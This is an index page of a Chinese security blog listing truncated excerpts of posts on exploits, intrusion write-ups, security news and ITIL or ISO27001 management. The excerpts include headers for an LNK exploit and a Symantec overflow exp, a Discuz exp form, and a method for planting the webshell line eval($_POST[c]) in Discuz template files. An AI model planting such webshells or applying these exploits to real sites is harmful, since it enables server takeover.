linkboy的博客_网络安全技术

LNK快捷方式漏洞利用方式 exp制作教程

前言 windows的shell32在处理控制面板程序的快捷方式文件时，存在一个漏洞，可以加载硬盘上的任意DLL文件，即可执行任意代码。漏洞文件的生成到“控制面板”下面，右键点“显示”，点“创建快捷方式”，把快捷方式创建在桌面上。然后在桌面用WinHex打开“显示.lnk”文件。 Off

职场

休闲

快捷方式

LNK

漏洞利用

原创推荐 2010-08-02 15:28:26 4284 阅读 6评论

从“网易邮箱被黑”看网页游戏账号安全

7月3日，据网友爆料网易邮箱系统大面积被黑。其中163、126、188、yeah邮箱均被入侵。据了解黑客没有做任何有恶意性的破坏，只在每个域名后面留下了文本文档以表示入侵。留下这么一句玩笑话，仿佛是嘲笑网易的无能，彰显自己的伟大。　　虽然这个小小的插曲并没有给我们造成什么大的损失，但也不得不再次让人们对于邮箱的安全性产生怀疑！网易的邮箱系统号称是技术最完善的，但

网页

账号

游戏

休闲

网易邮箱被黑

转载精选 2010-07-03 19:28:54 1772 阅读

nginx解析漏洞只要可以上传文件就会被黑

80sec发现的大漏洞，之前听阿里巴巴的同学也说到过。说明这个漏洞地下知道的人已经很多了只是今天公开了。。。漏洞介绍：nginx是一款高性能的web服务器，使用非常广泛，其不仅经常被用作反向代理，也可以非常好的支持PHP的运行。80sec发现其中存在一个较为严重的安全问题，默认情况下可能导致服务器错误的将任何类型的文件以PHP的方式进行解析，这将导致严重的安全问题，使得恶意的攻击者可能

文件

漏洞

休闲

解析

nginx

原创推荐 2010-05-21 16:52:55 5084 阅读 5评论

Apache 漏洞之后缀名解析漏洞

我们都知道windows2003 + IIS6.0下，如果目录结构中有xxx.asp这样的目录，那么所有这个目录下的文件不管扩展名为什么，都会当作asp来解析。我们一般称这个漏洞为windows2003+iis6.0目录解析漏洞。但是大家可能不知道的是，apache服务器也存在类似的解析漏洞我们来做下实验，我在本地搭建好了一个apache+php的测试平台两个文件phpinfo.php

Apache

漏洞

后缀

休闲

解析

原创推荐 2010-04-28 11:39:37 3692 阅读 10评论

黑客盗取了Google单点登录认证系统源代码

Google于今年一月披露受到了黑客攻击，并声称有重要的知识产权遭窃取。现在攻击事件的更多细节正逐渐显现。《纽约时报》报道，一位熟知内部调查的消息人士透露，黑客窃取了Google的单点登录认证系统Gaia的源代码。 Gaia是至关重要的访问控制密码系统，Google在全世界的员工通过这套系统能访问公司所有的Web服务器，包括电子邮件和商业应用程序的服务器。虽然Google正在修改这套系统，但

Google

系统

源代码

单点

原创 2010-04-21 13:51:34 1343 阅读 2评论

MOP社区被黑内幕

首先这次的检测纯属是个偶然？为什么是偶然大家请慢慢听我说吧.这里感谢AK！我本来想利用搜索引擎玩下后台过滤不严的网站！

职场

社区

MOP

休闲

内幕

原创推荐 2010-04-16 14:51:26 5402 阅读 9评论

赛门铁克远程溢出exp

印象中好像是赛门铁克第二次出远程溢出漏洞了。。。那些企业sep用户可能会有些影响。脆弱的内网安全啊攻击代码如下赛门铁克远程溢出exp # # # # # # # # # # # # # # # # # # # # # # # # # ### SYMANTEC AV w/ INTEL FILE TRANSFER SERVICE ### REMOTE SYSTEM LEVEL EX

职场

休闲

exp

原创 2010-04-15 20:58:49 1117 阅读

微软表示定期更改密码没用或浪费时间金钱

微软日前公布的一项调查结果显示，定期更换密码并不能将黑客拒之门外，反而是浪费时间和金钱。当前，许多企业IT部门强制员工定期更改密码，以作为安全策略之一。这不但让员工感到反感，更让网络管理员感到头痛。但微软日前公布的一项调查结果显示，这样做根本起不到实际作用。微软指出，黑客获得用户登录密码后，会立刻发动攻击，而不会等上几周时间，让用户更改后再发动攻击。这就好比，一个小偷捡到一把钥匙后，不去

微软

密码

时间

金钱

定期

转载精选 2010-04-15 20:54:47 718 阅读 1评论

discuz! 7.2 manyou插件暴路径&Get Webshell 0day

Webshell

Get

discuz

manyou

暴路径

原创 2010-04-06 14:48:45 2310 阅读 3评论

说说腾讯分站被黑的过程

最近腾讯分站被“黑”的消息有蛮人多关注的，某带头大哥就叫我写了篇贴子说说相关的过程是怎样的,进入正题! 大家都想像得到要黑腾讯这类大站

安全

漏洞

腾讯

休闲

分站

原创推荐 2010-04-05 20:41:59 2752 阅读 4评论

Radmin viewer 2 地址簿备份地址导出

Radmin是一款不错的远程管理工具，许多服务器的远程管理都使用该软件。应用比较普遍的是以前V2.2的老版本。如果经常从事服务器远程管理，会在Radmin viewer中会有许多服务器远程连接地址簿，有时会需要对该地址簿进行备份。V3版本已经提供了地址簿备份功能，但V2版本中是没有的，怎样对这些地址簿进行备份就成了一个问题，这里提供两个解决方法： 1、安装Radmin Viewer3,安装后

职场

Radmin

地址

休闲

viewer

原创 2010-02-22 21:19:00 2704 阅读

UCenter_Home横跨三个版本的鸡肋注入

这个注入从1.2版本就存在，08年末在大家广泛使用1.5版本的时候要搞个uchome的站，于是看了下源码找到这个点，写了个没用的exp藏一年多了一直丢硬盘没发，前几天看了下2.0版本看到依旧存在，还跟flyh4t说要不要公布呢。既然xhming公布了，我也说下吧。估计很多大牛也做为后备0day雪藏很久了吧。首先说鸡肋，两个原因导致： 1是漏洞的存在必须开启全局变量，即register_glo

休闲

Home

鸡肋

UCenter

横跨

转载精选 2010-02-22 17:56:00 1005 阅读

ITIL流程管理六步走

体悟之一：以前目标管理，现在流程管理服务管理实施前后主要的变化，表面看增加了一些流程经理，增加了一些“领导”——事件经理、变更经理，配置经理，问题经理。其实公司的业务没有发生变化，以前做什么现在还做什么。以前什么事情自动默认“目标管理”——最快最短流程的完成目标结果。效率很高，但有时候会出错，事

职场

管理

ITIL

休闲

流程

转载精选 2010-02-11 16:26:00 844 阅读

discuz!7.1、7.2远程代码执行漏洞exp

第一种方法：先注册个用户然后把 <form method="post" action=" http://www.xxx.com/bbs/misc.php" enctype="multipart/form-data"> 帖子ID，指定一个存在的帖子即可：<input type="t

代码

漏洞

休闲

exp

discuz

原创 2010-01-08 16:28:00 1054 阅读

跨站脚本XSS–褚诚云

《程序员》文章。申明。文章仅代表个人观点，与所在公司无任何联系。 1.概述跨站脚本Cross-Site Scripting（XSS）是最为流行的Web安全漏洞之一。据统计，2007年，跨站脚本类的安全漏洞的数目已经远远超出传统类型的安全漏洞【1】。那么，什么是跨站脚本？它的危害性是什么？Web开发人员如何在开发过程中避免这类的安全漏洞？就是我们这篇文章要讨论的内容。 2.什

职场

脚本

XSS

休闲

褚诚云

转载精选 2009-07-03 16:41:00 613 阅读

XSS无关乎架构，在于程序员的安全意识

记得上次讨论XSS是从输入防还是从输出防，我的回答是从两方面防，但另外一点就是要考虑应用，同时需要按XSS出现的情况分风险等级。我举了三个简单的例子： 1.一个原来只需要整型的参数却允许传字符型在页面输出了XSS，这个就是BUG! 这个例子说明的是程序员的安全意识问题，因为偷懒，输入和输出都没有严格控制数据类型，如果你是程序员你要怎么修改这个漏洞呢，当然是输入和输出都给改咯。一个很简单的逻

程序员

架构

XSS

休闲

安全意识

原创推荐 2009-01-08 17:50:00 1426 阅读 1评论

fedora官服被黑，redhat的openssh包被放后门

导读：　　在这个事情上，我们首先要思考的就是如何避免出现这类问题，出现了，如何定损和止损。　　http://www.securityfocus.com/archive/1/495671/30/0/threaded 　　https://www.redhat.com/archives/fedora-announce-list/2008-August/msg00012.html 　　

redhat

fedora

openssh

后门

官服

转载精选 2008-08-27 11:27:00 755 阅读

Phpcms 2007 远程文件包含漏洞

导读：　　PS：@extract函数。　　Phpcms 2007 远程文件包含漏洞　　Flyh4t [w.s.t] 　　www.wolvez.org 　　该cms的核心配置文件/include/common.inc.php有缺陷　　-------------------------------------------- 　　//23行开始　　@extrac

职场

文件

漏洞

休闲

Phpcms

原创 2008-08-23 09:44:00 1008 阅读

ISO27001实践总结（一）

ISO27001实践总结（一） By linkboy Linkboy2007@yahoo.com.cn 序：近期负责公司ISO27001 08年的年审项目。在整个项目实施过程中收获颇丰。无论是对ISO27001的制度了解还是ISMS的管理实施都积攒了一定的经验。08年上市中或准备上市的公司不少，在这里和大家分享一下我的ISO27001实践经验。正文：

职场

休闲

ISO27001

原创 2008-07-21 17:27:00 3498 阅读

基于ITIL的补丁管理

导读：　　ITIL并不能直接指导企业IT架构的日常维护和补丁升级操作，但ITIL涵盖了范围更为宽广的变更、分发和配置管理，从而使利用ITIL的思想和原则对企业的补丁管理流程进行规范成为可能。　　企业在对IT架构实施补丁升级的过程中，会遇到相当多的问题。冗余低效的补丁分发方案、补丁记录缺失、高风险的补丁实施和没有制定有效的补丁撤销策略等是其中影响最大的问题。这些问题的存在，不但明显降低了

职场

管理

ITIL

休闲

转载精选 2008-07-06 13:17:00 869 阅读

asp在线打包及解压的代码

导读：　　有了这个代码，再配合mdb压缩的算法，就可以实现压缩功能喽～～　　　　　　　　.STYLE1 {color: #FF0000} 　　.STYLE2 { 　　color: #FFFFFF; 　　font-weight: bold; 　　font-size: 14px; 　　} 　　*{font-size:12px;} 　　--> 　　　　 &nbs

代码

asp

打包

休闲

在线

原创 2008-07-04 11:54:00 1229 阅读

[提权技术] Discuz! 6 后台拿Shell的方法

如果后台可以在线编辑模板的话，下面的方法就可以拿SHELL了：） 1.后台编辑customfaq(customfaq.lang.php文件) 在 Copy code eval($_POST[c]); 2.后台编辑misc(misc.lang.php文件) 把post_reply_quote对应的内容改为 Copy code ";eval($_POST[c]

Shell

后台

休闲

Discuz

权技术

转载精选 2008-06-29 09:54:00 988 阅读

Maxthon遨游浏览器多个高危0day

漏洞说明：傲游浏览器是一个强大的多页面浏览器. 除了方便的浏览功能, 傲游浏览器还提供了大量的实用功能改善用户的上网体验，其在中国浏览器市场拥有大量的用户，以安全，界面友好著称。但是80sec安全组织发现遨游在安全处理上存在安全漏洞，导致恶意站点可以修改任意用户配置，读取用户历史访问记录，远程下载文件等种种恶意操作。漏洞厂商：http://www.maxthon.cn/ 漏洞成因

职场

休闲

Maxthon

遨游浏览器

转载精选 2008-06-24 10:47:00 592 阅读

新木马病毒可更改路由器设定监控用户网络流量

据研究人员报告，一种被称之为“zlob”（又称dnschanger）的特洛伊木马病毒已经被发现，这种病毒可以攻击受害者的互联网路由器，并监控受害人的网络流量。研究人员指出，当受害人自己的Windows系统被感染之后，zlob木马会尝试猜测路由器的用户名和密码组合，如果成功，此木马会改变受害者路由器的DNS，使所有的网络流量都可以被监控。很早之前研究人员就警告说总有

网络

路由器

用户

流量

转载精选 2008-06-24 10:46:00 1161 阅读

我在入侵过程中注意到的细节（二）

《黑客手册200802》我在入侵过程中注意到的细节（二） lcx 上期我写的基本都是在入侵内网过程中要注意到的细节，不过现在流行的毕竟是注入了。现在常规注入针对的也就是asp、php、jsp、cfm、 cgi等的动态脚本。针对各种脚本的话，如果注意一些细节，像构造特殊字符，也会起到很奇妙的作用。像最早的%5c暴库、%00截断都是轰动一时的漏洞。这些漏洞被发现，无非是发现都对脚本语

职场

休闲

细节

转载精选 2008-06-07 20:06:00 415 阅读

我在入侵过程中注意到的细节（一）

导读：　　《黑客手册200801》　　我在入侵过程中注意到的细节（一）　　lcx 　　细节决定成败，不但对于写程序、渗透入侵甚至人生都是如此。谈人生就有点深奥了，还是来谈谈入侵吧。记得很久前有一位同事，注入的时候，在sa权限什么命令都能执行的情况下竟然入侵花费了三天左右的时间，为什么呢？这是因为他在NBSI下输了个time命令，想看下服务器的时间，结果命令无法应答，注入点宕在

职场

休闲

转载精选 2008-06-07 20:06:00 400 阅读

我在入侵过程中注意到的细节（三）

导读：　　《黑客手册200803》　　我在入侵过程中注意到的细节之三　　lcx 　　前两期中的专栏中，针对细节入侵这一专题，我分别写了我在内网和注入中注意到的一些细节。其实入侵过程中，有时候难免会与管理员面对面，如何更好的隐蔽自己也是很重要的，一旦不注意，入侵工作往往前功尽弃。这期专栏中，我就如何隐蔽自己所做的一些工作，所注意到的细节来写一下。　　先来说一下嗅探吧。大家

职场

休闲

转载精选 2008-06-07 20:05:00 542 阅读

绿盟于旸：让阿里安娜火箭爆炸的缓冲区溢出 linkboy语录：tk出品必是精品呵呵

腾讯科技讯 3月18日，由中国最大的互联网综合服务提供商腾讯发起和组织的互联网安全峰会在深圳召开。包括微软、盛大、新浪等互联网界各大巨头的技术专家，学者和专业人士参与了此次的交流。此次峰会是今年以来首场由中国互联网各顶尖企业共同参与的大型网络安全专业盛会。来自绿盟的于旸，在现场发表演讲。以下为文字实录：于旸：我首先做个自我介绍，我叫于旸，目前主要从事信息技术安全有关的研究工作。腾讯

职场

绿盟

休闲

linkboy

阿里安

转载精选 2008-03-20 13:39:00 1172 阅读

关闭XP保护。替换explorer.exe

导读：　　在偶的VPC上测试是可以的。没有更多的测试. 　　偶并没有调用dllcache目录下的.你喜欢吧　　{*******************************************************} 　　{ } 　　{ 关闭XP保护。替换explorer.exe&n

职场

exe

explorer

休闲

转载精选 2008-02-01 20:32:00 667 阅读

开源安全技术的四大好处

导读：　　为使IT架构正常运作，企业往往要将信息安全作为一个关键因素引入到技术和管理体系中。在某些特定领域，与商业安全产品相比，开源安全技术有相当大的优势。　　开源安全产品的开发、测试和发布过程完全是透明的，同时提供产品的源代码及完善的文档。企业可以清楚地了解开源安全技术的工作原理和实现方法，在选择开源安全技术时更有把握，也更容易得到质量更好的安全方案。开源安全方案的开发者大多是经验丰

职场

开源

休闲

安全技术

原创 2008-01-30 16:23:00 552 阅读

官方博客	全部文章	热门标签	班级博客
了解我们	网站地图	意见反馈

鸿蒙开发者社区	51CTO学堂
51CTO	软考资讯

51CTO博客